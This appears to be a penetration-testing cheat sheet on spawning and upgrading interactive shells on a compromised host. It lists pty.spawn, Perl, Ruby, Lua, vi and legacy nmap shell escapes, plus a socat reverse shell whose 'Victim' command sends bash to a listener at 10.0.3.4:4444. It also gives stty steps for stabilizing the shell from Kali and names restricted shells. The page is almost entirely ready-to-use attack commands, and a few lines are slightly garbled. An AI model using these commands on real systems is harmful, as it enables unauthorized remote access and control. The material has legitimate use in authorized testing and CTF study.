Spawning TTY Shells

Shell Spawning

Python

```
python -c 'import pty; pty.spawn("/bin/sh")'
python3 -c 'import pty; pty.spawn("/bin/sh")'
```

Bash

```
echo os.system('/bin/bash')
/bin/sh -i
```

Perl

```
perl —e 'exec "/bin/sh";'
perl: exec "/bin/sh";
```

Ruby

```
ruby: exec "/bin/sh"
```

LUA

```
lua: os.execute('/bin/sh')
```

From Within IRB

```
exec "/bin/sh"
```

Inside vi

```
:!bash
:set shell=/bin/bash:shell
```

Nmap <=5.21

```
nmap -V
nmap --interactive
!sh
```

Socat

 # Listener

```
socat file:`tty`,raw,echo=0 tcp-listen:4444
```

Victim

```
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
```

STTY Options

In Reverse Shell

```
$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z
```

In Kali

```
$ stty raw -echo
$ fg
press enter
```

In Reverse Shell

```
$ reset
```

```
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols>
```

```
sh -r
rsh

rbash
bash -r
bash --restricted

rksh
ksh -r
```

Revision #1
Created 23 September 2022 23:35:33 by mxrch
Updated 23 September 2022 23:35:33 by mxrch